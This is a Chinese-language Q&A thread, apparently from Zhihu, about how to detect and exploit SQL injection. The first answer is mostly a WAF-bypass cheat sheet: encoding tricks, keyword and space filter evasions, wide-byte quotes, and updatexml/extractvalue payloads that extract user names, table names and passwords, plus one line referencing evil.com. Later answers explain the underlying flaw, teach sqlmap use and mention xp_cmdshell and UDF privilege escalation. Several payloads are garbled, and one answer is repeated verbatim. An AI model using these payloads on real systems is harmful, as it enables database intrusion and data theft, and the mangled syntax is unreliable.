之前在网上看过一些课程,关于sql注入,都是在URL后面加上and 1=1或在sqlmap里用-u检测,而看到别的大佬玩sqlmap的时候却不止这种方法,请问sql注入只有这两种检查方法吗?


手工注入的话,多看笔记,多找案例!


SQL注入速查表这是基础首先需要了解的

过滤and or

or ——&> ||
and ——&>
xor——&>|
not——&>!

十六进位绕过
or ——&> ox72

大小写绕过
Or
aNd

双写绕过
oorr
anandd

urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7

关键字内联注释尝试绕所有
/*!or*/
/*!and*/

左括弧过滤

urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8

右括弧过滤

urlencode,ascii(char),hex,unicode编码绕过
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

过滤unionselect

逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 (select user from users where userid=1)=admin

十六进位字元绕过
select ——&> selecx74
union——&>uniox6e

大小写绕过
SelEct

双写绕过
selselectect
uniunionon

urlencode,ascii(char),hex,unicode编码绕过

关键字内联绕所有
/*!union*/
/*!select*/

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;

空白字元绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

过滤=

?id=1 or 1 like 1#可以绕过对 = &> 等过滤
or 1 IN (1234)#可以替代=

过滤比较符&

select*fromuserswhereid=1and ascii(substr(database(),0,1))&>64

select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

过滤where

逻辑绕过
过滤代码 1 (select user from users where user_id = 1) = admin
绕过方式 1 (select user from users limit 1) = admin

过滤limit

逻辑绕过
过滤代码 1 (select user from users limit 1) = admin
绕过方式 1 (select user from users group by user_id having user_id = 1) = admin#user_id聚合中user_id为1的user为admin

过滤group by

逻辑绕过
过滤代码 1 (select user from users group by user_id having user_id = 1) = admin
绕过方式 1 (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

逻辑绕过
过滤代码 1 (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 substr(user,1,1) = a

过滤』(单引号)

逻辑绕过
waf = and|or|union|where|limit|group by|select|
过滤代码 1 substr(user,1,1) = a
绕过方式 1 user_id is not null1 substr(user,1,1) = 0x611 substr(user,1,1) = unhex(61)

宽位元组绕过
%bf%27 %df%27 %aa%27

过滤逗号

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);

对于limit可以使用offset来绕过:

select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0

过滤hex

逻辑绕过
过滤代码 1 substr(user,1,1) = unhex(61)
绕过方式 1 substr(user,1,1) = lower(conv(11,10,16)) #十进位的11转化为十六进位,并小写。

过滤substr

逻辑绕过

过滤代码 1 substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 lpad(user(),1,1) in r

编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进位编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

等价函数或变数

hex()、bin() ==&> ascii()

sleep() ==&>benchmark()

concat_ws()==&>group_concat()

mid()、substr() ==&> substring()

@@user ==&> user()

@@datadir ==&> datadir()

举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select password),1,1) = 0x70
strcmp(left(password,1), 0x69) = 1
strcmp(left(password,1), 0x70) = 0
strcmp(left(password,1), 0x71) = -1

生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(『& 』,』/script/@x/』,』src=//evil.com』);          

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,alx65rt(1)as 117nx65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

N绕过

N相当于NULL字元

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=Nunion select 1,2,3,4,5,6,7,8,9,0

PCRE绕过

PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select

上面的还不行?尝试修改语句逻辑再绕过试试?

发布于 2020-12-18继续浏览内容知乎发现更大的世界打开Chrome继续杨瑞杨瑞i春秋讲师,独立音乐人,Web安全

看这个问题应该是个新手,现在的环境不比以前,现在的容易找到sql注入漏洞很少了。

所以,我觉得现在学sql注入,只能往大了看,学思想,学黑客思维。

其实注入类漏洞大多数都是是个数据代码分离的问题。

我举个形象的例子吧。

----------------------------------------------------------------

例子的演员:

A 输入值

B 业务程序

C 资料库

关于演员:

A 是一个可以任何用户可控输入值,无论用户输入什么都会被原样传输到后端伺服器。

B 是这个例子中存在漏洞的程序。

C 是一个能接收SQL指令处理数据的资料库。

我们理清楚这个之后就来走一遍正常流程(即按照程序猿的设想):

1.用户通过点击前端浏览器上的一个链接,对伺服器发起了一个GET请求,带著一个前端程序员写好的值A。

2.经过长长的网线,A被带到了B进行处理,B直接将A与查询数据的SQL语句拼接在了一起。

(例如,A值为1,SQL语句是「查询id为A的产品资料」,所以这时候的SQL语句是「查询id为1的产品资料」)

3.B把这个SQL语句拿给了C,让C去执行。C尽忠职守,很快变查询出了结果,然后吧结果给了B,B在将结果传回了前端用户浏览器。

接下来,我们就来看一遍攻击流程:

1.某技术人员,发现了完全可控的值A,尝试对其进行测试,于是将A值改为「1的id。」。

(我们假设C执行SQL语句是遇到句号即停止往后执行)

2.然后B接收到了A,把它和SQL语句拼在一起,于是变成了「查询id为1的id。的产品资料」。

3.然后B将这个被动了手脚的SQL语句交给了C,然而C依旧尽忠职守执行了这个SQL语句,于是。它返回了1,B再把这个1返回了用户的浏览器,于是某技术人员就知道这里存在SQL注入漏洞了。

OK,剩下的该你自己思考了。


看这个问题应该是个新手,现在的环境不比以前,现在的容易找到sql注入漏洞很少了。

所以,我觉得现在学sql注入,只能往大了看,学思想,学黑客思维。

其实注入类漏洞大多数都是是个数据代码分离的问题。

我举个形象的例子吧。

----------------------------------------------------------------

例子的演员:

A 输入值

B 业务程序

C 资料库

关于演员:

A 是一个可以任何用户可控输入值,无论用户输入什么都会被原样传输到后端伺服器。

B 是这个例子中存在漏洞的程序。

C 是一个能接收SQL指令处理数据的资料库。

我们理清楚这个之后就来走一遍正常流程(即按照程序猿的设想):

1.用户通过点击前端浏览器上的一个链接,对伺服器发起了一个GET请求,带著一个前端程序员写好的值A。

2.经过长长的网线,A被带到了B进行处理,B直接将A与查询数据的SQL语句拼接在了一起。

(例如,A值为1,SQL语句是「查询id为A的产品资料」,所以这时候的SQL语句是「查询id为1的产品资料」)

3.B把这个SQL语句拿给了C,让C去执行。C尽忠职守,很快变查询出了结果,然后吧结果给了B,B在将结果传回了前端用户浏览器。

接下来,我们就来看一遍攻击流程:

1.某技术人员,发现了完全可控的值A,尝试对其进行测试,于是将A值改为「1的id。」。

(我们假设C执行SQL语句是遇到句号即停止往后执行)

2.然后B接收到了A,把它和SQL语句拼在一起,于是变成了「查询id为1的id。的产品资料」。

3.然后B将这个被动了手脚的SQL语句交给了C,然而C依旧尽忠职守执行了这个SQL语句,于是。它返回了1,B再把这个1返回了用户的浏览器,于是某技术人员就知道这里存在SQL注入漏洞了。

OK,剩下的该你自己思考了。


首先理解原理,资料库sql语句把不可信的用户输入数据直接拼接导致的。

那肯定得会资料库,会脚本语言。

技术的话,你看sqlmap technique参数,布尔盲注,时间盲注,报错注入,堆叠查询,响应盲注。BTUES这些


我一直觉得学一个漏洞,要明白几个东西:

成因 or 原理

这个漏洞的的成因是什么,什么情况才会出现?不懂原理,就永远只会拿著那几个 payload 去试,一旦环境稍稍有点变动,可能你就不会了

就比如 SQL 注入,就是将未过滤或者过滤不完全的输入拼接到 SQL 语句中,但是 拼接的地方是在哪里?where语句中、order by语句中、limit语句中?不同的点上利用的方式也是不一样的,在 PHP java 环境下有什么不同,什么情况下支持堆叠查询,各种问题只有明白了原理才能够去回答

如何发现

正如题主所说的,除了加入 and 1=1 还有其他检测的办法吗,很明显 在有 WAF 的情况下,时间盲注的情况下,怎么高效的进行漏洞的发现,也是一个问题

绕过

针对各种情况的 WAF 或者代码中的一些敏感词的检测,怎么去绕过它?比如 and 1=1 用不了可以用什么来代替,比如 or 行不行,利用一些逻辑运算符 与或非 等行不行,等等等等

利用

发现了一个漏洞之后,怎么去深入的利用,尽可能的利用这个漏洞,造成更大的影响,如 Mysql 的 UDF、MOF 提权,SQL Server 的 xp_cmdshell 等的这些

(当然这个也要注意情景,在日常挖洞的情况下,更多的是证明漏洞的存在,并不提倡你去进一步利用,毕竟可能会对业务造成一定的影响,但是个人认为在学习的过程中还是要会的)

如何修复

挖洞的目的是为了修复,知道了怎么挖,想想如果业务方要你提供修复建议,你要怎么给出


还有这里你提到了 sqlmap,就说说 sqlmap

sqlmap 常见的几个参数是什么,怎么检测 POST 参数、怎么带 Cookie,不同 level、risk 间有什么区别,怎么制定注入方法资料库类型,各种特殊注入情况下的前缀后缀的要求,tamper 怎么写,然后就是各种疑难杂症,比如注入点明明存在 sqlmap 跑不出来什么回事,也还是有很多问题的

但网上搜不到了你就会想去看 sqlmap 的源码,那就又是一个新的世界了,加油吧少年hhh


推荐阅读:
相关文章